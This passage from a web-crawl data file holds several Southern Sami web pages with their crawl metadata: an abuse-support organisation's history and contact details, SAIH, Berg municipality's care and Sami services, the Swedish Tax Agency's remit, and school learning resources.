öörneminie, dah mah mijjen organisasjovnem beetneh-vierhtiejgujmie dåarjoeh.\nBuektiehtidh organisasjovnen barkoem gorredidh aaj båetije biejjide, dellie gijhteles libie jis olmetjh lïhtseginie sjidtieh jallh jeatjah-ligke doedtebeetnegh vadtesinie vedtieh kontonommerasse: 3090.14.79468 jallh Vipps-nommerasse: 86670.\nAALKOVEN BÏJRE\nGïjren jaepien 2009, lin 20 baernieh jïh almah mah seksuelleligke irhkesovveme, prosjeektesne meatan \"Gradert Info\". Ulmie lij åajvaladtjide raeriestidh mij tjuara dorjesovvedh jis jeenjebh gelkieh doestedh daejriehtidh sijjieh seksuelle irhkemem dååjrehtamme jïh magkeres viehkie bööremes dejtie. Akte dejstie bööremes raerijste lij nehtesæjroem aelkiehtidh, juktie dan vaenie almah viehkiesuerkine viehkiem uhtsieh. Nehtesæjroe galki abpe Nöörjese jïh aelhkie aaj dan baakta govlehtidh. Dagkeres nehtesæjroe mïsse viehkieinstitusjovnh meehtin \"klienth\" gïektsiemdidh, jïh mestie faagebarkijh vielie maahtoem veedtjedh buerebeligke guarkedh seksuelle irhkeldh baernieh jïh almah.\nBARKOEGUEJMIEH\nSeksuelle irhkeldh almah dah lin njueniehkisnie nehtesæjroem evtiemdidh, jïh muvhth dejstie joekoen nuvsjehke. Prosjeektem aelkiehti jïh stuvrehti \"Forandringsfabrikken\", mij dam ektiebarkosne juhtiehti daej jarngigujmie; \"Senter for seksuelt misbrukte menn\" jïh \"Kirkens Ressurssenter\". Dïsse lissine lin prosjeektedåehkesne aaj \"Reform\":n saadtholmetjh, \"FMSO\":n jïh \"BUFdir\":n ståvroeh. Maanaj-, noeri- jïh fuelhkiedirektoraate beetnehvierhtiejgujmie dåarjoeji nehtesæjroen vijrebem evtiemdimmiem jaepien 2015 jïh 2016.\nMAH SÏJHTH VIEHKIEHTIDH?\nSiebrien reereme sæjhta jeatjah irhkeldh kaarrigujmie govlehtalledh gïeh sijhtieh tjaalegigujmie viehkiehtidh irhkemen bïjre baerniej jïh almaj vuestie, jallh soptsesinie jïjtsh bïjre. Jïjtje badth veeljh mah sïjhth tjeakas-ligke jallh jïjtjedh ååredæjjam vuesiehtidh.\nJis barre tjetskehke, seedtesth dle mailem diekie: email@example.com. Tjaelesth telefovnenommerem guktie buektiehtibie ringkestidh datnine soptsestalledh.\n-\nJarle Holseter\n-\nSvein Schøgren\n-\nRaymond Lønberg\n-\nOdd Sverre Pedersen\n-\nLars Skjærvik\n-\nRoy Nicolaysen","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/aarjel.utsattmann.no\/om-utsattmann\/","date":"2023-09-25T12:04:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233508977.50\/warc\/CC-MAIN-20230925115505-20230925145505-00663.warc.gz","language":"sma","language_score":0.9999928474,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.999992847442627}","num_words":589,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gie SAIH\nSAIH lea studenti jïh akademihkeri Nöörjesne jïjtsh solidariteete- jïh viehkiesiebrie. Mijjieh ööhpehtimmieviehkine, bïevnesigujmie jïh politihkeles tsevtsieminie barkebe.\nSAIH tseegkesovvi jaepien 1961 goh akte bielie nöörjen studenti jïh akademihkeri anti-apartheidbarkoste. Mijjen faamoebaakoe \"ööhpehtimmie frijjevoeten gaavhtan\", sæjhta jiehtedh gosse eadtjohkelaakan meatan orre dellie dihte politihkeles voerkesvoetem jïh – jarkelimmiem sjugnede. Daan biejjien SAIH voenges siebrieh utnieh universiteetine jïh jïlleskuvline abpe laantesne. SAIH:n 11 voenges siebrieh nöörjen universiteetine jïh jïlleskuvline abpe laantesne digkiedimmieh, seminaarh jïh kampanjh öörnedieh. Ij gåaredh lïhtseginie jïjtje årrodh SAIH:sne, men voenges siebrieh, studentedemokratijh, universiteeteståvroeh jïh studente- jïh akademihkeresiebrieh leah lïhtsegh SAIH:sne. SAIH 40 siebrieh dåarjohte 7 laantine Latin-Amerijhkesne jïh Åarjel Afrijhkesne mah prosjekth juhtieh jollebe ööhpehtimmien jïh reaktabaseradamme lïerehtimmien sisnjeli.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/saih.no\/southern-sami\/hvem-er-saih","date":"2023-09-22T21:11:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506423.70\/warc\/CC-MAIN-20230922202444-20230922232444-00019.warc.gz","language":"sma","language_score":0.9999880791,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 0.9999880790710449}","num_words":108,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.148,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hokse, viehkie jih såjhtoe - omsorg, hjälp och vård\nOvmessie jïjnje jih ovmessie aejkieh jielemisnie mijjieh almetjh dåarjegem, viehkiem jih hoksem ovmessie aatide daarpesjibie. Voeres- jih ov-vervienhoksem jih sosialedïenesjem lea dellie dutnjien.\nDïhte lea sosialedåarjoem, viehkiem psykijen ovhealsojne jallh gosse jearohke geeruvevierhtijste, dåarjege dejtie mah ålkoerijhkeste diekie båateme, nuepieh ov-vervide jih jienebe. Datne aaj raeriem åadtjoeh jielemen ovmessie deahpadimmide, vuesiehtimmien gaavhtan: provre, fuelhkiejieleme, voeresårromesijje jih juvleme.\nVyörtegs jielemem jih buerie jielemem\nGuktie aktem lissiem sosialedïenesjelaakesne gelkieh gaajhkide barkijidie voereshoksesne barkedh ihke Datne åadtjoeh akten vyörtegs jielemem jieledh jih buerielaakan damtedh. Datne daajrah mij dïhte dutnjien. Dan gaavhtan lea vihkeles ahte gaajhkide barkijidie Datne voereshoksesne gaskesadth datnem dov mïeli jih dov vaajtelimmiej bïjre gïhtjieh.\nByjrehks vyörtegsvoetetjirkemh Bïerjen tjïeltesne\nDarjoemoenehtsem lea nännoestamme ihke byjrehks vyörtegsvoetetjirkemh såjtoe- jih hoksesne daajroehtidh. Ahte byjrehks vyörtegsvoetetjirkemh daajroehtidh jïjtjesyjhtehts lea. Vyörtegsvoetetjirkemidie gelkieh abpe voereshoksese arrijh, gåabegh tjïelten jïjtse darjose jih jeatjah barkijidie. Tjirkemi maadtoe lea dïhte nasjonellen vyörtegsmaadtoem. Akten barkoedåehkiem ovmessie barkojste mij såjhtoe-jih hoksesne lea, aareh 2012 jaepeste barkeme ihke tjirkemidie hammoedidh mah Bïerjen tjïelte lea daajroehtamme. Barkoedåehkiem lea beavneme jih raeriestimmieh jih mïelh gåatan veedtjeme, aajne-almetjijstie, lïhkesadtjijste, barkijijstie jih almetjijstie. Barkoem lea dorjeme ahte daejtie vyörtegsvoetetjirkemidie leah dååhkasjehteme:\n- Bierjen tjïelte tjirkie ahte båeries almetjh mij viehkiem gåetesne utnieh jallh sjïere årromesijjesne leah, akten gaskesadthalmetjem åadtjoeh.\n- Bierjen tjïelte tjirkie ahte båeries almetjh mij viehkiem gåetesne utnieh jallh sjïere årromesijjesne leah, akten daaletje darjomeplaanem utnieh.\n- Bierjen tjïelte tjirkie ahte båeries almetjh mij viehkiem gåetesne utnieh jallh sjïere årromesijjesne leah, åadtjoeh naakenh lïhke jaadtoestimmesne utnedh\nVyörtegsvoetetjirkemidie aelkieh raajeste 2013-01-01 arrijh.\nTjeakome\nTjeakome lea gaajhkide barkijidie, praktikanth jih learohkh darjosne. Tjeakome lea ahte nihteme lea, ihke bïevnesh jiehtedh, njaalmeldh jallh ahte sïejhme paehperh olkese laehpien jallh jeatjah vuekesne bïevnesh laehpien.\nLaejhteme\/ girmeme\/mïelh\nMijjese lea buerie jis dov ussjedimmieh, åssjaldahkh jallh laejhtemh åadtjobe daejredh, dïhte mijjese nuepiem vaadta mijjen darjoem bueriedidh. Jis datne mïelh gïetedallijasse åtnah jih barkojde goh SoL, HSL, LVM, LVU och LSS Bïerjen tjïeltesne, datne maahtah sjïere goerem laejhtemasse\/girmemasse\/mïelide nuhtjedh, dunnie goerearkivesne dunnie åelkiesbielesne.\nSoL (Socialtjänstlagen (2001:453)\nHSL (Hälso och sjukvårdslagen(1982:763)\nLVM (Lag (1988:870) om vård av missbrukare i vissa fall)\nLVU (Lag (1990:52) med särskilda bestämmelser om vård av unga)\nLSS (Lag (1993:387) om stöd och service till vissa funktionshindrade.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/berg.se\/saepmie\/information-pa-samiska\/hokse-viehkie-jih-sajhtoe---omsorg-hjalp-och-vard","date":"2023-09-24T11:20:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506632.31\/warc\/CC-MAIN-20230924091344-20230924121344-00231.warc.gz","language":"sma","language_score":0.9999656677,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 0.9999656677246094}","num_words":357,"character_repetition_ratio":0.067,"word_repetition_ratio":0.049,"special_characters_ratio":0.16,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije Guovdageainnu historjasearvi Vaadtasovvemejaepie 1996 Faage Siebriedahkefaage Eatnemelearoe jïh histovrije Saemien histovrije jïh siebriedahke Daltese 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele ISBN 8299325315 Formaate Sïejhme gærja Reakta-aajhtere Guovdageainnu historjasearvi Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 143 Aamhtesh Aerpiemaahtoe Njaalmeldh kultuvre Eatnemelearoe Åålmege jïh laanth Histovrije Saemien histovrije Kultuvre Litteratuvre Siebriedahke Siebriedahkedaajroe","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ovttas.no\/sma\/node\/9066","date":"2023-09-23T11:09:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506480.7\/warc\/CC-MAIN-20230923094750-20230923124750-00547.warc.gz","language":"sma","language_score":0.999319315,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.999319314956665}","num_words":48,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Skaehtievierhkie aarkebiejjien tsiehkiejgujmie barka dutnjien privaatealmetjinie jïh sïelteaajhterinie. Edtja aelhkies njoelkedassi mietie barkedh jïh galka daajroes utnijidie årrodh. Datne edtjh maehtedh jearsoes årrodh daate rïektes sjædta dovne dutnjien jïh aaj jeatjah darjoeh guktie gelkieh.\nGaajhkh privaatealmetjh jïh sïelteaajhterh edtjieh seamma nuepieh jïh tsiehkieh utnedh gosse dah mijjiem gaskesedtieh saaht tjoele jïh aaltere, tjoeleraasten identiteete jallh vååjnoe; etnihken govlesovveme, religijovne jallh jeatjah jaahkoeh; funksjovneheaptoeh jallh seksuellen åtnalgimmieh.\nSveerjen siebriedahke lea daan nïlle bigkeme gaajhkh gïeh berkieh edtjieh skaehtiem maeksedh. Skaehtie lea ovmessie fïerhtene tjïeltesne jïh dïhte jeatjahtahta dan mietie man jïjnje datne dïenesjh. Skaehtie gaskem jeatjebh skïemtjehoksen, geajnoej jïh voeresesåjhtoen åvteste maaksa.\nPolitihkerh rïjhkebiejjesne, tjïeltine jïh laantedigkine sjæjsjalieh mah jïh man stoerre skaehtieh Sveerje edtja utnedh. Skaehtievïerhke barkeminie skaehtide tjåegkedh. Mijjieh reerenassen nuelesne bene frijjetjåadtjome åejvieladtje. Dan gaavhtan ij reerenasse maehtieh aktegs almetjen jallh sïelten skaehtiegyhtjelassh tsevtsedh.\nMijjieh byögkeles suerkien finansijeradimmiem vihtiestibie jïh viehkiehtibie mijjen siebriedahke hijvenlaakan jåhta juktie miedtemi vööste barkebe.\nSkaehtievïerhken åejvielaavenjassh leah skaehtide tjåegkedh, åålmegetjaalasovvemem gïetedidh, pruvresregisterem jïh gåetietakseremem gïetedidh, jïh staaten borgenærem årrodh. Mijjieh id-kåarhth darjobe almetjidie gïeh Sveerjesne tjaalasovveme. Mijjieh aaj skaehtiemiedtemh goerehtibie.\nDaesnie åenehks iktedimmie suerkijste mejtie Skaehtievïerhke dïedtem åtna.\nSveerjesne mijjieh skaehtiem maeksebe vuesiehtimmien gaavhtan baalhkeste, skïemtjebeetnegijstie jïh pensjovneste. Rentah, juekemh jïh vitnimh gosse aktierh, villah jïh gåetiereaktah duaka aaj leah baalhkah jïh edtja skaehtiem dej åvteste aaj maeksedh. Baalhkaskaehtie tjïeltide jïh laantedigkide jåhta bene aaj staatese.\nFïerhten jaepien mijjieh mijjen baalhkah deklareradibie baalhkadeklarasjovnesne. Daam datne aelhkemes jïh vihties digitaale vuekine.\nStaate momsem jeenjemes vaarojste jïh dïenesjistie vaalta mah doekesuvvieh. Momse lea åasesne maam mijjieh maeksebe privaatealmetjinie. Daamhtaj momse lea 25 procenth. Sjïere vaaroej åvteste goh båeltemsh, energije, alkohovle jïh dågka dellie staate aaj guktie gohtje tsiehkieskaehtiem vaalta.\nDïhte gie aktegs jielemedarjoeminie jallh åesiestimmiesïeltine barka skaehtiem darjomen dïenestistie maaksa. Jielemebarkije dïenestem deklarerede sov sïejhme baalhkadeklarasjovnesne. Mohte aktiesïelte eejnegen 20,6 proseenth sïelten dïenestistie maaksa.\nBarkoevedtijh sosijaalemaaksojde daej barkiji åvteste maeksieh. Daesnie gaajhkh barkoemaaksoeh jïh edtjieh daam maeksedh akten aejkien askesne.\nÅålmegetjaalasovvemisnie bïevnesh gååvnesieh gaajhki bïjre gïeh sveerjen otnjegh, permaneente årromeluhpiem utnieh jallh EU-otnjegh gïeh åadtjoeh daesnie årrodh. Maadthnjoelkedasse lea datne edtjh tjaalasovvedh gusnie årroeh. Åålmegetjaalasovveme stuvrie vuesiehtimmien gaavhtan gusnie edtjh skaehtiem maeksedh, dov reakta politihken veeljemisnie jïh reakta ovmessie dåarjojde.\nGosse tjaalasovvih dov lea persovnenummere mij lea dov reakedsbiejjie jïh njieljie sifferh. Persovnenummerem daarpesjh gaskem jeatjebh jis datne skïemtjegåetiem jïh åejvieladtjide gaskesadth, gosse beavnah datne edtjh juhtedh, nommem målsodh jallh pruvredh.\nSkaehtievïerhke gåetietjaalegh registrerede. Gåetietjaalege lea iktedimmie mij vuesehte mah åemie-almetje utni jïh jis lååjkehke.\nDatne maahtah Skaehtievïerhkem bïeljelidh pruvresåvtebaakoeh, vadtesh paarreguaktetji gaskem registreradidh, gåetiejuekemem jïh gåetiejuekemetjaalegh bïevnedh.\nGaajhkesh gïeh Sveerjesne tjaalasovveme jïh 13 jaepieh illeme maahta id-kåarhtem Skaehtievïerhkesne syökedh. Dïhte lea dåhkasjahteme id-kåarhte laanten sisnie mij aaj e-legitimasjovne. E-legitimasjovnine maahtah vihties vuekine vuesiehtidh gie datne leah gaskeviermesne.\nSkaehtievïerhke ekonomijen miedtemh goerehte, heerrede jïh jeerede skaehtiesuerkine.\nSkaehtievïerhke dïedtem åtna vaaksjodh privaatealmetjh jïh sïelth skaehtieh jïh maaksoeh maeksieh mejtie politihkerh leah sjæjsjalamme. Daam gohtje mijjieh staaten krïevemh vaaksjobe. Jis sjyöhtehke sjædta dellie mijjieh staaten mietie konkursem ohtsedibie.\nRingkh 0771-567 567 jïh jiehtieh \"Vieksele\" jis sïjhth ierine soptsestidh mij jåhta. Dellie åadtjoeh gïetedæjjine soptsestalledh jallh maehtebe tïjjem dængkodh soptsestalleme toelhkestæjjine.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/skatteverket.se\/servicelankar\/otherlanguages\/davvisamigiellajulevsamegiellaaarjelsaemiensamiska\/mijjendarjome.4.b1014b415f3321c0de428.html","date":"2023-09-28T14:27:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510412.43\/warc\/CC-MAIN-20230928130936-20230928160936-00263.warc.gz","language":"sma","language_score":1.0000059605,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 1.0000059604644775}","num_words":498,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Information på samiska\n-\nAarhskuvlh Bïerjen tjïeltesne, förskolor i Bergs kommun\nBïerjen tjïelte 11 voenine maanahoksem faala. Dejstie molsehth-laakan aarhskuvlide tjïjhtje tjïelten leah, jih dah jeatjebh darjoen jïjtsh aktesijstie. Gaajhkide aarskuvlen molsehth-laakanidie leah tjïelten gïehtjedimmien nuelesne jih ellies darjoen dejtie kvalitetkrïevide mah tjïelte nännoestamme.\n-\nFjällgymnasiet\nFjällgymnasiet lea akte onne skavla 100 learohkigujmie. Ih akten onne skavlesne jeatjebi ektesne gaarvenh. Datne dovne dej dov klaassevoelpigujmie åahpenh jïh learohkigujmie jeatjah lohkehtimmieprogrammine. Smaave klaassine buerebe tïjjem fïerhten learoehkasse sjædta. Dutnjien aelhkie viehkiem lohkehtæjjeste åadtjodh jis daarpesjh. Skavlan byjreske tryjjes jïh murreds. Seadtoes jïh joeleds.\n-\nHokse, viehkie jih såjhtoe - omsorg, hjälp och vård\nOvmessie jïjnje jih ovmessie aejkieh jielemisnie mijjieh almetjh dåarjegem, viehkiem jih hoksem ovmessie aatide daarpesjibie. Voeres- jih ov-vervienhoksem jih sosialedïenesjem lea dellie dutnjien.\n-\nSaemieh Bierjen tjielte, samer i Bergs kommun\nTjïeltesne golme saemiesijth, Tåssåsen sïjte jïh ektesne 6 000 bovtsh utnieh. Saemiesijte ij leah seamma goh sïejhme sijte, dihte stuerebe geografiske dajvesne gusnie gåatomem utnieh sjïere jaepieboelhkine. Daelvegen dellie krïevvine vuemielaantesne , jïh gïesegen bijjene vaerine.\n-\nSaemiej reaktah Bïerjen tjïeltesne\nBïerjen tjïelte saemien reeremedajvesne jïh dan gaavhtan dïedtem åtna saemiengïelem gorredidh. Destie gaskem jeatjah mijjieh edtjebe aarhskuvledarjomem jïh voeresehoksem faala saemiengïelesne. Datne aaj reaktam åtnah saemiestidh gosse tjïeltem gaskesadtedh.\n-\nSaemien raerie, samiska rådet\nSaemien raerie Bïerjen tjïeltesne unnemes njieljien aejkien jaepesne tjåanghkene. Gaajhkesh byöroeh gaajhkh moenemh seamadieh.\n-\nSaemien reeremedajve\nBïerjen tjïelte Saepmesne gællesje, dajvesne gusnie saemieh årroeh, berkieh jïh kultuvrine gïehtelieh.\n-\nToelhke, tolk\nDaerpies saemietoelhkem utnedh. Jis sijhth saemiestidh dellie maahtah toelhkine tellefovnen tjïrrh soptsestidh guktie latjkenamme.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/berg.se\/saepmie\/information-pa-samiska","date":"2023-10-03T07:01:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511055.59\/warc\/CC-MAIN-20231003060619-20231003090619-00534.warc.gz","language":"sma","language_score":0.9999790192,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999790191650391}","num_words":240,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Demokratije jïh meatanårrojevoete\nDemokratije jïh meatanårrojevoete goh dåaresthfaageles teema skuvlesne edtja learoehkidie daajroem vedtedh demokratijen eaktoej, aarvoej jïh spïelenjoelkedassi bïjre, jïh dejtie ryöjrehtidh meatan årrodh demokrateles prosessine. Lïerehtimmie edtja learoehkidie goerkesem vedtedh ektiedimmien bïjre demokratijen jïh vihkeles åålmehreaktaj gaskem goh soptsestimmiereakta, jïenestimmiereakta jïh organisasjovnenfrïjjevoete. Dah edtjieh goerkesem åadtjodh demokratijen leah joekehts hammoeh jïh vuekieh.\nLearohkh edtjieh aaj goerkesem åadtjodh evtiedimmien bïjre demokrateles institusjovnijste Saepmesne, jïh guktie sïjte lea vuekine orreme jïh annje lea, jïjtjemse organiseeredh. Seamma aaj faamosne saemiej dåarjoe gaskenasjonaale aalkoeåålmegelaavenjostosne jïh gaskenasjonaale latjkojde jïh konvensjovni vihkelesvoetese don demokrateles evtiedæmman. Barkoen tjïrrh seabradahkefaagine learohkh edtjieh laejhtehkslaakan ussjedidh, ovmessie perspektijvh vaeltedh, ovmessie mïelh gïetedidh jïh eadtjohke meatanårrojevoetem vuesiehtidh.\nDaate raajroe lea terroreheannadimmiej bïjre snjaltjen 22.b. 2011, jïh aaj vuartesje mah konsekvensh daate mijjen seabradahkese åadtjoeji. Sisvegem sjïehtedamme guktie learohkh viehkiem åadtjoeh ektiedimmieh vuejnedh.\nDaan raajroen tjïrrh learohkh dïrregem åadtjoeh mejgujmie maehtieh jïjtsh politihkeles veeljemh darjodh. raajrosne dovne CoLabs, Storylabs, IdeaLabs jïh laavenjassetjomhpe. Raajrosne tseegkesovveme dejnie sjaavnjojne learoehkidie viehkiehtidh ellies goerkesem åadtjodh guktie nöörjen politihkeles systeeme jåhta jïh guktie lea guktie lea. Sisvegen tjïrrh raajrosne learohkh nuepiem åadtjoeh ektiedimmieh vuejnedh gaskem guktie seabradahke Nöörjesne lea tseegkesovveme, jïh dah konsekvensh daate vadtasåvva fïerhten årroejasse.\nÖöhpehtimmieboelhkh leah bijjemes bielie Seabradahkefaagese saemien 5-10. Boelhki tjïrrh learohkh edtjieh maahtoem tseegkedh Saepmien bïjre jïh ussjedadtedh mij sæjhta jiehtedh bieline årrodh Saepmeste jïh jïjtse ektiedimmien bïjre dejtie ovmessie biehkide mah leah vïedteldihkie daan suarkan. Gaajhkh dov ovmessie teemah mah leah daennie boelhkesne, sïjhtieh lïhkebe tjïelkestamme sjïdtedh ovmessie raajroej tjïrrh Seabradahkefaagesne saemien 5-10.\nAlmetjehealsoe jïh jieledehaalveme\nTeema edtja daajroem vedtedh guktie relasjovnh jïh ektiedimmie baajnehtamme sjidtieh aktivyöki barkoste mubpiejgujmie, aaj digitaale, jïh lea bielie maahtoste faagesne. Edtja viehkiehtidh guktie learohkh maehtieh hijven veeljemh vaeltedh jieliedisnie jïh haestemh gïetedidh seksualiteeten, persovneles ekonomijen, ålkoestimmien jïh digitaale ektiedahkoen bïjre. Teema edtja aaj viehkiehtidh goerkesem, seahkarimmiem jïh toleraansem sjugniedidh gellievoetese, mubpiej aarvojde jïh jieledeveeljemidie, jïh perspektijvh vedtedh mij hijven jielede maahta årrodh. Learohkh edtjieh maehtedh suerkieh identifiseeredh gusnie almetjeaarvoem haasta, goh almetjeåesiestimmesne jïh mijjen baelien slaaverijesne, jïh råajvarimmieh buektedh mah almetji vihkeles daerpiesvoeth gorredieh.\nSeabradahke mij hijven healsoeveeljemidie fïereguhten luvnie sjïehteladta, lea joekoen hijven almetjehealsose. Jieledehaalveme lea maehtedh guarkedh jïh maehtedh faktovrh baajnehtidh mah mïelem utnieh jïjtse jieledem haalvedh. Teema edtja aaj viehkiehtidh guktie learohkh lierieh mietiemoerem jïh vuestiebïegkem jïh praktihkeles haestemh bööremeslaakan gïetedidh.\nDaate raajroe domtesi bïjre. Bijjemes bielesne learoesoejkesjistie tjåådtje almetjehealsoe jïh jieledehaalveme edtjieh viehkiehtidh guktie learohkh maahtoem evtiedieh mah learohki healsoem eevtjieh jïh dejtie ryöjrehtieh ovmessie haestemh jieliedisnie gïetedidh. Raajroe learoehkidie viehkehte ussjedadtedh jïh jïjtse jïh mubpiej domtesh damtijidh.\nRaajroe mij mïrrestallemem, sïerredimmiem, tjïertevidtjiem buerkeste jïh aktine storylabine mij teemine åtna dej gelliej noeri bïjre mah veeljieh mïrrestallemen åvteste gæmhpodh jïh garmerdieh gïeh leah jïh gubpede båetieh.\nAdveentelabe fïerhten skuvlebeajjan goeven. Fïerhten biejjien aktem sïllem gaavnh daanbeajjetje biejjielåhkoesæjrojne, daanbeajjetje onne onterdimmine jïh aktem raeriestimmiem akten darjomen bïjre maam maahta darjodh adveentetïjjen. Darjomh aajkojne utnieh vielie aerpievuekide jarngese bïejedh goh dïhte religijööse aspekte jåvleheevehtimmeste\/jåvleeejehtallemistie. Datne jåvlelaavlomh, filmebïetskh, ussjedadtemelaavenjassh jïh såemies kreatijve darjomh gaavnh.\nRaajroe kråahpe jïh seksualiteete lea seksualiteeten jïh ruvsen bïjre. Jienebh daejstie boelhkijste gyhtjelassh utnieh mej bijjeli edtjieh ussjedadtedh jïh mah maehtieh krïevije årrodh. Lohkehtæjja byöroe jearsoe mieriem tæjmoej bïjre bïejedh jïh baajedh learohki vaestiedassh mij akt årrodh mej bijjeli maehtieh vielie soptestalledh. Learohkh maehtieh gærjam darjodh jallh sov gærjesne tjaeledh Storylabesne. Dan nomme maahta årrodh Mov identiteete, Mov skaehtiegæstoe jallh Mov gæstoe.\nAamhtesisnie «Ektesne årrodh» vïenevoete, irhkeme, nedtevihte jïh vædtsoesvoete. Learohkh haestemh åadtjoeh jïjtsh gïeleåtnoem måjhtelidh, jïh jïjtsh jïh mubpiej dahkoeh. Feerhmesovveme jïh identiteete leah vihkeles baakoetjïerth. Daejnie boelhkine soptsestalleme klaassesne vihkeles. Vihkeles hijven astoem utnedh learohki vaestiedassi bïjre soptsestidh. Onterdidh, ussjedadtedh jïh såemies lahtestimmiej bïjre vielie soptsestidh. Learohkh maehtieh gærjam darjodh jallh sov gærjesne tjaeledh Storylabesne. Dan nomme maahta årrodh Mov identiteete, Mov skaehtiegæstoe jallh Mov gæstoe.\nDaennie raajrosne leara vielie mij Pandemije lea, jïh man åvteste dïhte juhtije Korona-vijruse gaskem jeatjah lea pandemije. Laavenjassi jïh ussjedadtemen learohkh nuepiem åadtjoeh ussjedadtedh guktie dah jïjtjh maehtieh viehkine årrodh, mah dåehkieh mah leah sjïere vaahresne jïh maam maahta «lïeredh» destie mij dam nöörjen seabradahkem steegkie. Maahta labide tjïrrehtidh goh jïjtjeraarehke labh, jallh dejtie ektiedimmesne nuhtjedh.\nNænnoes evtiedimmie\nBarkoen tjïrrh nænnoes evtiedimmine learohkh edtjieh maahtoem evtiedidh mestie dah maehtieh eensi veeljemh vaeltedh jïh etihkeles jïh byjresevoerkes årrodh. Learohkh edtjieh guarkedh fïereguhten dahkoeh jïh veeljemh leah vihkele. Teema dåeriesmoeretjoelmh tjeekie mah leah teemaj bïjre byjrese jïh klijma, giefiesvoete jïh joekedimmie vierhtijste, vigkieh, healsoe, mïrrestalleme, demografije jïh ööhpehtimmie. Daajroe ektiedimmiej bïjre eatnemen jïh seabradahken gaskem, guktie almetjh klijmam jïh byjresem baajnehtieh, jïh guktie jieledetsiehkieh, jieledevuekieh jïh demografije leah vïedteldihkie gaskemsh, daam goerkesem vedtieh. Guktie eatnemem guarkoe jïh reerie Saepmesne åvtesne jïh daelie lea bielie daestie. Learohkh edtjieh ektiedimmien bïjre lïeredh dej ovmessie aspekti gaskem nænnoes evtiedimmesne.\nDaesnie vierhtieh gaavnh mah maehtieh åtnasovvedh barkosne nænnoes evtiedimmine.\nDaan boelhken mijjieh digkiedimmiesoejkesjigujmie barkebe gusnie learohkh nuepiem åadtjoeh jïjtsh åvtegoerkesem nuhtjedh barkosne ektiedimmiem vueptiestidh joekehts energijehammoej gaskem, jïh dïhte faktume energije ij maehtieh gaarvanidh.\nDåaresthfaageles raajroe saemien göölemeaerpievuekien bïjre. Learohkh gaskem jeatjah lierieh aerpievuekien bïjre jïengesne håagkodh, göölemedïrregi bïjre, slaarvoeh göölemesoptsesh, guktie gueliem gïetedidh, vætnoen jïh reaktan bïjre gööledh.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/learnlabstagingwebsite-lb-737128648.eu-west-1.elb.amazonaws.com\/no\/laeringsressurser\/sorsamiske-laeringsressurser\/innhold-sorsamisk-8-10-trinn\/daaresthfaageles-teemah-8-10-daltese\/","date":"2023-12-11T09:34:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679103810.88\/warc\/CC-MAIN-20231211080606-20231211110606-00574.warc.gz","language":"sma","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 1.0000081062316895}","num_words":821,"character_repetition_ratio":0.057,"word_repetition_ratio":0.027,"special_characters_ratio":0.129,"stopwords_ratio":0.16,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemieh Bierjen tjielte, samer i Bergs kommun\nTjïeltesne golme saemiesijth, Tåssåsen sïjte jïh ektesne 6 000 bovtsh utnieh. Saemiesijte ij leah seamma goh sïejhme sijte, dihte stuerebe geografiske dajvesne gusnie gåatomem utnieh sjïere jaepieboelhkine. Daelvegen dellie krïevvine vuemielaantesne , jïh gïesegen bijjene vaerine.\nBåatsoeburrie ij barre bovtsejieleme dihte dovne jielemevuekie mejtie maadtoeboelvijste jåhta båeries histovrijen vijremesïebredahkeste daaletje båatsoejiliemasse.\nGuessine regijovnesne maahtah dovne maejstedh jïh meatan årrodh saemiekultuvresne. Saemiej åesiesstäjjah Bïenjedaelesne jïh Kliere bovtsen 